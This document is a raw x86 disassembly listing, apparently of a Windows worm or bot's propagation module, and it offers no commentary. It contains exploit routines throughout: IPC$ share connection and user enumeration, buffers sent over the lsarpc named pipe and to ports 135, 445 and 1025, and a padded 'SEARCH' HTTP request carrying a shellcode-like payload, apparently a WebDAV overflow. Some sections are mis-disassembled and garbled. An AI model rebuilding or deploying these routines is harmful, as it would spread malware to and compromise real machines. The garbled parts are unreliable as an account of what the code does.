; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E268	proc near		; CODE XREF: sub_409F32+1E6p
					; DATA XREF: seg002:off_4439F4o

var_630		= byte ptr -630h
var_248		= byte ptr -248h
var_11C		= byte ptr -11Ch
var_54		= byte ptr -54h
var_50		= dword	ptr -50h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 630h
		push	ebx
		push	esi
		lea	eax, [ebp+arg_4]
		push	edi
		push	eax
		lea	eax, [ebp+var_34]
		xor	ebx, ebx
		push	offset aS_31	; "\\\\%s"
		push	eax
		mov	[ebp+var_4], ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+var_20], ebx
		mov	[ebp+var_1C], ebx
		mov	[ebp+var_8], ebx
		call	sub_41D260
		add	esp, 0Ch
		lea	eax, [ebp+var_630]
		push	3E8h
		push	eax
		lea	eax, [ebp+var_34]
		push	0FFFFFFFFh
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_4F1370	; MultiByteToWideChar
		lea	eax, [ebp+var_34]
		mov	[ebp+var_44], ebx
		push	eax
		lea	eax, [ebp+var_11C]
		push	offset aSIpc	; "%s\\ipc$"
		push	eax
		mov	[ebp+var_38], ebx
		mov	[ebp+var_50], ebx
		call	sub_41D260
		add	esp, 0Ch
		lea	eax, [ebp+var_11C]
		mov	[ebp+var_40], eax
		lea	eax, [ebp+var_54]
		push	ebx
		push	offset dword_4E25F8
		push	offset dword_4E25FC
		push	eax
		call	ds:dword_451598
		test	eax, eax
		jz	short loc_40E30E
		push	1
		lea	eax, [ebp+var_11C]
		push	ebx
		push	eax
		call	ds:dword_451558
		xor	eax, eax
		jmp	loc_40E439
; ---------------------------------------------------------------------------


loc_40E30E:				; CODE XREF: sub_40E268+8Dj
					; sub_40E268+171j
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	0FFFFFFFFh
		push	eax
		push	2
		lea	eax, [ebp+var_630]
		push	ebx
		push	eax
		call	ds:dword_451454
		mov	[ebp+var_C], eax
		push	1
		lea	eax, [ebp+var_11C]
		push	ebx
		push	eax
		call	ds:dword_451558
		cmp	[ebp+var_C], ebx
		jz	short loc_40E351
		cmp	[ebp+var_C], 0EAh
		jnz	short loc_40E3C1


loc_40E351:				; CODE XREF: sub_40E268+DEj
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		mov	[ebp+var_10], eax
		jz	short loc_40E3D2
		cmp	[ebp+var_14], ebx
		mov	[ebp+var_18], ebx
		jbe	short loc_40E3C1


loc_40E363:				; CODE XREF: sub_40E268+157j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_40E3C1
		push	ebx
		push	ebx
		lea	ecx, [ebp+var_248]
		push	12Ch
		push	ecx
		push	0FFFFFFFFh
		push	dword ptr [eax]
		push	ebx
		push	ebx
		call	ds:dword_4F1384	; WideCharToMultiByte
		sub	esp, 0BCh
		lea	eax, [ebp+var_34]
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	eax
		lea	eax, [ebp+var_248]
		rep movsd
		push	eax
		call	sub_40E201
		add	esp, 0C4h
		cmp	eax, 1
		jz	short loc_40E3C1
		add	[ebp+var_10], 4
		inc	[ebp+var_8]
		inc	[ebp+var_18]
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_14]
		jb	short loc_40E363


loc_40E3C1:				; CODE XREF: sub_40E268+E7j
					; sub_40E268+F9j ...
		cmp	[ebp+var_4], ebx
		jz	short loc_40E3D2
		push	[ebp+var_4]
		call	ds:dword_451580
		mov	[ebp+var_4], ebx


loc_40E3D2:				; CODE XREF: sub_40E268+F1j
					; sub_40E268+15Cj
		cmp	[ebp+var_C], 0EAh
		jz	loc_40E30E
		cmp	[ebp+var_4], ebx
		jz	short loc_40E3ED
		push	[ebp+var_4]
		call	ds:dword_451580


loc_40E3ED:				; CODE XREF: sub_40E268+17Aj
		cmp	[ebp+var_C], 5
		jnz	short loc_40E436
		cmp	ds:off_43CDE0, ebx
		jz	short loc_40E436
		mov	eax, offset off_43CDE0
		mov	[ebp+var_8], eax


loc_40E403:				; CODE XREF: sub_40E268+1CCj
		sub	esp, 0BCh
		lea	esi, [ebp+arg_0]
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		lea	ecx, [ebp+var_34]
		push	ecx
		push	dword ptr [eax]
		call	sub_40E201
		add	esp, 0C4h
		cmp	eax, 1
		jz	short loc_40E436
		mov	eax, [ebp+var_8]
		add	eax, 4
		mov	[ebp+var_8], eax
		cmp	[eax], ebx
		jnz	short loc_40E403


loc_40E436:				; CODE XREF: sub_40E268+189j
					; sub_40E268+191j ...
		push	1
		pop	eax


loc_40E439:				; CODE XREF: sub_40E268+A1j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40E268	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40E43E	proc near		; CODE XREF: seg000:0040E67Ap

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_4]
		lea	eax, [esi+esi]
		cmp	[ebp+arg_C], eax
		jnb	short loc_40E452
		or	eax, 0FFFFFFFFh
		jmp	short loc_40E471
; ---------------------------------------------------------------------------


loc_40E452:				; CODE XREF: sub_40E43E+Dj
		xor	ecx, ecx
		test	esi, esi
		jbe	short loc_40E46E
		mov	eax, [ebp+arg_8]


loc_40E45B:				; CODE XREF: sub_40E43E+2Ej
		mov	edx, [ebp+arg_0]
		mov	dl, [ecx+edx]
		mov	[eax], dl
		and	byte ptr [eax+1], 0
		inc	ecx
		inc	eax
		inc	eax
		cmp	ecx, esi
		jb	short loc_40E45B


loc_40E46E:				; CODE XREF: sub_40E43E+18j
		mov	eax, [ebp+arg_C]


loc_40E471:				; CODE XREF: sub_40E43E+12j
		pop	esi
		pop	ebp
		retn
sub_40E43E	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 10A8h
		call	sub_41DEB0
		push	ebx
		push	esi
		push	edi
		lea	eax, [ebp+0Ch]
		push	1
		push	eax
		call	sub_417569
		mov	esi, eax
		pop	ecx
		cmp	esi, 1
		pop	ecx
		jz	loc_40E6E1
		push	0FDE8h
		push	539h
		call	sub_41801E
		pop	ecx
		mov	[ebp-0Ch], eax
		pop	ecx
		push	eax
		call	ds:dword_4514F4
		movzx	eax, ax
		xor	eax, 9999h
		push	2
		mov	[ebp-10h], eax
		lea	eax, [ebp-10h]
		push	eax
		push	offset dword_446D8C
		call	sub_41E840
		mov	eax, esi
		add	esp, 0Ch
		dec	eax
		dec	eax
		jz	loc_40E5AF
		push	8522h
		mov	dword ptr [ebp-8], 8520h
		call	sub_41FD90
		xor	ebx, ebx
		mov	esi, eax
		mov	dword ptr [esp], 8521h
		push	ebx
		push	esi
		call	sub_41D100
		push	24h
		push	offset dword_446EF4
		push	esi
		call	sub_41E840
		lea	edi, [esi+24h]
		mov	ecx, 1FFAh
		mov	eax, 1004600h
		push	2
		rep stosd
		lea	eax, [esi+7FF4h]
		push	ebx
		push	eax
		call	sub_41D100
		push	4FAh
		lea	eax, [esi+7FF6h]
		push	offset dword_4473E4
		push	eax
		call	sub_41E840
		mov	eax, 4001h
		push	5
		mov	[esi+18h], eax
		mov	[esi+20h], eax
		lea	eax, [esi+7E0h]
		push	offset dword_446E78
		push	eax
		mov	dword ptr [esi+8], 8520h
		mov	dword ptr [esi+10h], 84F0h
		call	sub_41E840
		lea	eax, [esi+24h]
		add	esp, 3Ch
		mov	edi, eax
		mov	dword ptr [ebp-4], 1AAh


loc_40E57E:				; CODE XREF: seg000:0040E592j
		push	1
		push	90h
		push	edi
		call	sub_41D100
		add	esp, 0Ch
		inc	edi
		dec	dword ptr [ebp-4]
		jnz	short loc_40E57E
		push	195h
		lea	eax, [esi+3Ch]
		push	offset loc_446CDC
		push	eax
		call	sub_41E840
		add	esp, 0Ch
		jmp	loc_40E6AE
; ---------------------------------------------------------------------------


loc_40E5AF:				; CODE XREF: seg000:0040E4D9j
		push	24F2h
		mov	dword ptr [ebp-8], 24F0h
		call	sub_41FD90
		xor	ebx, ebx
		mov	esi, eax
		mov	dword ptr [esp], 24F1h
		push	ebx
		push	esi
		call	sub_41D100
		push	24h
		push	offset dword_446ED0
		push	esi
		call	sub_41E840
		lea	edi, [esi+24h]
		mov	ecx, 800h
		mov	eax, offset loc_410041
		push	2
		rep stosd
		lea	eax, [esi+2024h]
		push	ebx
		push	eax
		call	sub_41D100
		push	4CAh
		lea	eax, [esi+2026h]
		push	offset dword_446F18
		push	eax
		call	sub_41E840
		mov	eax, 1001h
		push	4
		mov	[esi+18h], eax
		mov	[esi+20h], eax
		lea	eax, [esi+1654h]
		push	offset dword_446E74
		push	eax
		mov	dword ptr [esi+8], 24F0h
		mov	dword ptr [esi+10h], 24C0h
		call	sub_41E840
		push	8
		lea	eax, [esi+165Ch]
		push	offset off_446E80
		push	eax
		call	sub_41E840
		add	esp, 48h
		mov	edi, 32Ah
		push	edi
		call	sub_41FD90
		push	edi
		push	ebx
		push	eax
		mov	[ebp-4], eax
		call	sub_41D100
		push	edi
		mov	edi, [ebp-4]
		push	edi
		push	195h
		push	offset loc_446CDC
		call	sub_40E43E
		add	esp, 20h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40E693
		push	edi
		call	sub_41FCE0
		pop	ecx


loc_40E68E:				; CODE XREF: seg000:0040E898j
		push	1
		pop	eax
		jmp	short loc_40E6E3
; ---------------------------------------------------------------------------


loc_40E693:				; CODE XREF: seg000:0040E685j
		push	328h
		lea	eax, [esi+1664h]
		push	edi
		push	eax
		call	sub_41E840
		push	edi
		call	sub_41FCE0
		add	esp, 10h


loc_40E6AE:				; CODE XREF: seg000:0040E5AAj
		cmp	dword ptr [ebp+0A8h], 87h
		jz	loc_40E7B3
		cmp	dword ptr [ebp+0A8h], 1BDh
		jz	short loc_40E6E8
		cmp	dword ptr [ebp+0A8h], 401h
		jz	loc_40E7B3


loc_40E6DA:				; CODE XREF: seg000:0040E6F9j
					; seg000:0040E7E6j ...
		push	esi
		call	sub_41FCE0


loc_40E6E0:				; CODE XREF: seg000:0040E78Dj
		pop	ecx


loc_40E6E1:				; CODE XREF: seg000:0040E496j
					; seg000:0040E87Dj
		xor	eax, eax


loc_40E6E3:				; CODE XREF: seg000:0040E691j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40E6E8:				; CODE XREF: seg000:0040E6C8j
		lea	eax, [ebp-44h]
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40A958
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40E6DA
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-0A8h]
		push	offset aSPipeLsarpc ; "\\\\%s\\pipe\\lsarpc"
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		lea	eax, [ebp-0A8h]
		push	ebx
		push	80h
		push	3
		push	ebx
		push	1
		push	0C0000000h
		push	eax
		call	ds:dword_4F1380	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40E77D
		lea	eax, [ebp-4]
		push	ebx
		push	eax
		lea	eax, [ebp-10A8h]
		push	1000h
		push	eax
		push	48h
		push	offset dword_446E88
		push	edi
		call	near ptr 3D0000h
		dec	esi
		cmp	byte ptr [ebp-10A6h], 0Ch
		jz	short loc_40E762
		push	edi
		jmp	short near ptr loc_40E776+1
; ---------------------------------------------------------------------------


loc_40E762:				; CODE XREF: seg000:0040E75Dj
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		push	dword ptr [ebp-8]
		push	esi
		push	edi
		call	near ptr 3D0000h
		mov	eax, 7557C085h


loc_40E776:				; CODE XREF: seg000:0040E760j
		sbb	edi, edi
		adc	eax, offset dword_4F12FC


loc_40E77D:				; CODE XREF: seg000:0040E735j
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40AA3E
		push	esi
		call	sub_41FCE0
		pop	ecx
		jmp	loc_40E6E0
; ---------------------------------------------------------------------------
		call	ds:dword_4F12FC	; CloseHandle
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40AA3E
		push	esi
		call	sub_41FCE0
		pop	ecx
		pop	ecx
		push	1F4h
		jmp	loc_40E857
; ---------------------------------------------------------------------------


loc_40E7B3:				; CODE XREF: seg000:0040E6B8j
					; seg000:0040E6D4j
		lea	eax, [ebp+0Ch]
		mov	word ptr [ebp-24h], 2
		push	eax
		call	ds:dword_451530
		push	dword ptr [ebp+0A8h]
		mov	[ebp-20h], eax
		call	ds:dword_4514F4
		push	ebx
		push	1
		push	2
		mov	[ebp-22h], ax
		call	ds:dword_451570
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40E6DA
		lea	eax, [ebp-24h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E6DA
		push	ebx
		push	48h
		push	offset dword_446E88
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E6DA
		push	ebx
		lea	eax, [ebp-10A8h]
		push	2710h
		push	eax
		push	edi
		call	ds:dword_45150C
		push	ebx
		push	dword ptr [ebp-8]
		push	esi
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	loc_40E6DA
		push	edi
		call	ds:dword_451588
		push	esi
		call	sub_41FCE0
		mov	dword ptr [esp], 1F4h


loc_40E857:				; CODE XREF: seg000:0040E7AEj
		call	ds:dword_4F12F4	; Sleep
		push	dword ptr [ebp-0Ch]
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_417E0E
		add	esp, 0C0h
		cmp	al, 1
		jnz	loc_40E6E1
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]
		jmp	loc_40E68E

; =============== S U B	R O U T	I N E =======================================



sub_40E89D	proc near		; CODE XREF: seg000:0040EA31p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		push	esi
		call	sub_41AC70
		pop	ecx
		mov	ecx, [esp+4+arg_0]
		lea	ecx, [ecx+eax*2-1]


loc_40E8B1:				; CODE XREF: sub_40E89D+25j
		mov	edx, eax
		dec	eax
		test	edx, edx
		jz	short loc_40E8C4
		and	byte ptr [ecx],	0
		mov	dl, [eax+esi]
		dec	ecx
		mov	[ecx], dl
		dec	ecx
		jmp	short loc_40E8B1
; ---------------------------------------------------------------------------


loc_40E8C4:				; CODE XREF: sub_40E89D+19j
		pop	esi
		retn
sub_40E89D	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 25A8h
		call	sub_41DEB0
		push	ebx
		push	esi
		lea	eax, [ebp-11A8h]
		push	edi
		push	eax
		push	2
		call	ds:dword_4F14DC	; WSAStartup
		xor	ebx, ebx
		push	ebx
		push	1
		push	2
		call	ds:dword_451570
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp-8], edi
		jl	loc_40EC36
		push	1BDh
		mov	word ptr [ebp-18h], 2
		call	ds:dword_4514F4
		mov	[ebp-16h], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	ds:dword_451530
		mov	[ebp-14h], eax
		push	8
		lea	eax, [ebp-10h]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-18h]
		push	10h
		push	eax
		push	edi
		call	ds:dword_45149C
		test	eax, eax
		jl	loc_40EC36
		push	ebx
		push	89h
		push	offset dword_4478F4
		push	edi
		call	ds:dword_451540
		test	eax, eax
		jl	loc_40EC36
		mov	esi, 1000h
		push	ebx
		lea	eax, [ebp-25A8h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		cmp	eax, 0Ah
		jle	loc_40EC36
		cmp	[ebp-259Fh], bl
		jnz	loc_40EC36
		push	ebx
		push	0A8h
		push	offset dword_447980
		push	edi
		call	ds:dword_451540
		test	eax, eax
		jl	loc_40EC36
		push	ebx
		lea	eax, [ebp-25A8h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		cmp	eax, 0Ah
		jle	loc_40EC36
		push	ebx
		push	0DEh
		push	offset dword_447A2C
		push	edi
		call	ds:dword_451540
		test	eax, eax
		jl	loc_40EC36
		push	ebx
		lea	eax, [ebp-25A8h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		cmp	eax, 0Ah
		jle	loc_40EC36
		cmp	[ebp-259Fh], bl
		jnz	loc_40EC36
		push	30h
		lea	eax, [ebp-1018h]
		push	offset dword_447B0C
		push	eax
		call	sub_41E840
		lea	eax, [ebp+0Ch]
		push	eax
		lea	eax, [ebp-15A8h]
		push	offset dword_447EFC
		push	eax
		call	sub_41D260
		lea	eax, [ebp-15A8h]
		push	eax
		lea	eax, [ebp-0FE8h]
		push	eax
		call	sub_40E89D
		lea	eax, [ebp-15A8h]
		push	eax
		call	sub_41AC70
		shl	eax, 1
		movzx	ecx, ax
		add	eax, 9
		push	1
		mov	[ebp-4], eax
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-0FEBh]
		push	eax
		lea	edi, [ebp+ecx-0FE8h]
		call	sub_41E840
		push	8
		push	offset dword_447B40
		push	edi
		call	sub_41E840
		add	edi, 8
		lea	ecx, [ebp-1018h]
		mov	ax, di
		push	1
		sub	ax, cx
		sub	eax, 4
		mov	[ebp-4], eax
		lea	eax, [ebp-4]
		push	eax
		lea	eax, [ebp-1015h]
		push	eax
		call	sub_41E840
		add	esp, 48h
		lea	eax, [ebp-1018h]
		sub	edi, eax
		lea	eax, [ebp-1018h]
		push	ebx
		push	edi
		mov	edi, [ebp-8]
		push	eax
		push	edi
		call	ds:dword_451540
		test	eax, eax
		jl	loc_40EC36
		push	ebx
		lea	eax, [ebp-25A8h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		cmp	eax, 0Ah
		jle	loc_40EC36
		cmp	[ebp-259Fh], bl
		jnz	loc_40EC36
		push	ebx
		push	6Ah
		push	offset dword_447B4C
		push	edi
		call	ds:dword_451540
		test	eax, eax
		jl	loc_40EC36
		push	ebx
		lea	eax, [ebp-25A8h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		cmp	eax, 0Ah
		jle	loc_40EC36
		cmp	[ebp-259Fh], bl
		jnz	loc_40EC36
		push	ebx
		push	0A0h
		push	offset dword_447BB8
		push	edi
		call	ds:dword_451540
		test	eax, eax
		jl	loc_40EC36
		push	ebx
		lea	eax, [ebp-25A8h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		cmp	eax, 0Ah
		jle	loc_40EC36
		cmp	[ebp-259Fh], bl
		jnz	loc_40EC36
		push	esi
		lea	eax, [ebp-1018h]
		push	0FFFFFF90h
		push	eax
		call	sub_41D100
		push	130h
		lea	eax, [ebp-1018h]
		push	offset dword_447C5C
		push	eax
		call	sub_41E840
		add	esp, 18h
		push	4E1Ah
		call	ds:dword_4514F4
		mov	ds:word_447E5A,	ax
		push	158h
		lea	eax, [ebp-0EE8h]
		push	offset dword_447DA0
		push	eax
		call	sub_41E840
		push	0Ch
		lea	eax, [ebp-790h]
		push	offset dword_447D90
		push	eax
		call	sub_41E840
		add	esp, 18h
		lea	eax, [ebp-1018h]
		push	ebx
		push	894h
		push	eax
		push	edi
		call	ds:dword_451540
		test	eax, eax
		jl	short loc_40EC36
		push	ebx
		lea	eax, [ebp-25A8h]
		push	esi
		push	eax
		push	edi
		call	ds:dword_45150C
		push	12Ch
		call	ds:dword_4F12F4	; Sleep
		push	4A2Dh
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_417E0E
		add	esp, 0C0h
		test	al, al
		jz	short loc_40EC36
		mov	eax, [ebp+0B0h]
		push	1
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]
		pop	eax
		jmp	short loc_40EC38
; ---------------------------------------------------------------------------


loc_40EC36:				; CODE XREF: seg000:0040E8F9j
					; seg000:0040E93Fj ...
		xor	eax, eax


loc_40EC38:				; CODE XREF: seg000:0040EC34j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EC3D	proc near		; CODE XREF: seg000:0040EDCFp
					; seg000:0040EDEDp

var_210		= byte ptr -210h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_A0		= dword	ptr  0A8h
arg_A8		= dword	ptr  0B0h
arg_BC		= dword	ptr  0C4h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		push	esi
		xor	esi, esi
		cmp	[ebp+arg_BC], esi
		push	edi
		jnz	short loc_40EC6C
		push	4
		push	offset dword_447F08
		push	offset byte_447F4D
		call	sub_41E840
		push	4
		push	offset dword_447F10
		jmp	short loc_40EC91
; ---------------------------------------------------------------------------


loc_40EC6C:				; CODE XREF: sub_40EC3D+13j
		cmp	[ebp+arg_BC], 1
		jnz	loc_40EDB4
		push	4
		push	offset dword_447F18
		push	offset byte_447F4D
		call	sub_41E840
		push	4
		push	offset dword_447F20


loc_40EC91:				; CODE XREF: sub_40EC3D+2Dj
		push	offset aRrrrrrrrrrrrrr ; ""...
		call	sub_41E840
		add	esp, 18h
		push	offset byte_43CCBC
		push	[ebp+arg_0]
		call	sub_402617
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	200h
		push	eax
		call	sub_408BB0
		add	esp, 10h
		test	eax, eax
		jz	loc_40EDB4
		push	esi
		push	1
		push	2
		call	ds:dword_451570
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	loc_40EDB4
		push	10h
		lea	eax, [ebp+var_10]
		push	esi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_A0]
		call	ds:dword_4514F4
		mov	[ebp+var_E], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_451530
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jz	loc_40EDAD
		push	esi
		push	85h
		push	offset dword_447F28
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EDAD
		mov	esi, ds:dword_4F12F4
		push	0Ah
		call	esi ; dword_4F12F4
		and	[ebp+arg_BC], 0


loc_40ED4F:				; CODE XREF: sub_40EC3D+146j
		lea	eax, [ebp+var_210]
		push	0
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		push	edi
		call	ds:dword_451540
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40EDAD
		push	0Ah
		call	esi ; dword_4F12F4
		inc	[ebp+arg_BC]
		cmp	[ebp+arg_BC], 7
		jl	short loc_40ED4F
		push	3E8h
		call	esi ; dword_4F12F4
		push	edi
		call	ds:dword_451588
		mov	eax, [ebp+arg_A8]
		push	1
		shl	eax, 6
		inc	ds:dword_4439F8[eax]
		lea	eax, dword_4439F8[eax]
		pop	eax
		jmp	short loc_40EDB6
; ---------------------------------------------------------------------------


loc_40EDAD:				; CODE XREF: sub_40EC3D+E4j
					; sub_40EC3D+FFj ...
		push	edi
		call	ds:dword_451588


loc_40EDB4:				; CODE XREF: sub_40EC3D+36j
					; sub_40EC3D+86j ...
		xor	eax, eax


loc_40EDB6:				; CODE XREF: sub_40EC3D+16Ej
		pop	edi
		pop	esi
		leave
		retn
sub_40EC3D	endp

; ---------------------------------------------------------------------------
		push	esi
		push	edi
		push	0
		lea	esi, [esp+10h]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40EC3D
		add	esp, 0C0h
		lea	esi, [esp+0Ch]
		push	1
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40EC3D
		add	esp, 0C0h
		push	1
		pop	eax
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	dword ptr [ebp+8]
		call	ds:dword_4F14F0	; inet_addr
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-4], eax
		jnz	short loc_40EE35
		push	dword ptr [ebp+8]
		call	ds:dword_4F14D8	; gethostbyname
		test	eax, eax
		jnz	short loc_40EE22
		leave
		retn
; ---------------------------------------------------------------------------


loc_40EE22:				; CODE XREF: seg000:0040EE1Ej
		mov	eax, [eax+0Ch]
		push	4
		push	dword ptr [eax]
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E840
		add	esp, 0Ch


loc_40EE35:				; CODE XREF: seg000:0040EE11j
		mov	eax, [ebp-4]
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40EE3A	proc near		; CODE XREF: seg000:0040F02Ap

var_23950	= byte ptr -23950h
var_100D0	= byte ptr -100D0h
var_100CF	= byte ptr -100CFh
var_FFB5	= byte ptr -0FFB5h
var_FFB4	= byte ptr -0FFB4h
var_6D0		= byte ptr -6D0h
var_D0		= byte ptr -0D0h
var_CC		= byte ptr -0CCh
var_44		= byte ptr -44h
var_43		= byte ptr -43h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		mov	eax, 23950h
		call	sub_41DEB0
		mov	al, ds:byte_4E260C
		push	ebx
		push	esi
		push	edi
		push	0Ch
		mov	[ebp+var_44], al
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_43]
		push	22h
		rep stosd
		stosb
		mov	al, ds:byte_4E2610
		mov	ecx, 3FFFh
		mov	[ebp+var_100D0], al
		xor	eax, eax
		lea	edi, [ebp+var_100CF]
		mov	esi, offset a?xmlVersion1_0 ; "<?xml version=\"1.0\"?>\r\n<g:searchrequest"...
		rep stosd
		stosw
		stosb
		pop	ecx
		lea	edi, [ebp+var_CC]
		push	[ebp+arg_8]
		rep movsd
		call	ds:dword_4F14D4	; ntohs
		push	[ebp+arg_4]
		xor	eax, 8080h
		mov	ds:word_44809F,	ax
		call	ds:dword_4514F4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		mov	[ebp+var_10], 2
		call	ds:dword_451530
		xor	ebx, ebx
		mov	[ebp+var_C], eax
		push	ebx
		push	1
		push	2
		call	ds:dword_451570
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		mov	[ebp+arg_8], esi
		jnz	short loc_40EEDC
		push	1
		pop	eax
		jmp	loc_40F007
; ---------------------------------------------------------------------------


loc_40EEDC:				; CODE XREF: sub_40EE3A+98j
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	ds:dword_45149C
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40EEF5
		or	eax, eax
		jmp	loc_40F007
; ---------------------------------------------------------------------------


loc_40EEF5:				; CODE XREF: sub_40EE3A+B2j
		mov	ecx, 4000h
		mov	eax, 43434343h
		lea	edi, [ebp+var_100D0]
		rep stosd
		xor	eax, eax


loc_40EF09:				; CODE XREF: sub_40EE3A+F0j
		cmp	eax, 22Dh
		jnb	short loc_40EF2C
		mov	cl, ds:byte_447FD0[eax]
		mov	[ebp+eax+var_6D0], cl
		inc	eax
		lea	ecx, [eax+0FA00h]
		cmp	ecx, 10000h
		jb	short loc_40EF09


loc_40EF2C:				; CODE XREF: sub_40EE3A+D4j
		mov	al, [ebp+arg_C]
		push	13880h
		mov	[ebp+var_FFB5],	al
		mov	al, [ebp+arg_10]
		mov	[ebp+var_FFB4],	al
		lea	eax, [ebp+var_23950]
		push	ebx
		push	eax
		mov	[ebp+var_D0], bl
		call	sub_41D100
		push	32h
		lea	eax, [ebp+var_44]
		push	ebx
		push	eax
		call	sub_41D100
		push	[ebp+arg_0]
		lea	eax, [ebp+var_100D0]
		push	eax
		lea	eax, [ebp+var_23950]
		push	offset aSearchSHttp1_1 ; "SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-"...
		push	eax
		call	sub_41D260
		lea	eax, [ebp+var_CC]
		push	eax
		call	sub_41AC70
		push	eax
		lea	eax, [ebp+var_23950]
		push	eax
		lea	eax, [ebp+var_23950]
		push	offset aSD	; "%s%d\r\n\r\n"
		push	eax
		call	sub_41D260
		add	esp, 3Ch
		lea	eax, [ebp+var_23950]
		push	ebx
		push	eax
		call	sub_41AC70
		pop	ecx
		push	eax
		lea	eax, [ebp+var_23950]
		push	eax
		push	esi
		mov	esi, ds:dword_4F14E8
		call	esi ; dword_4F14E8
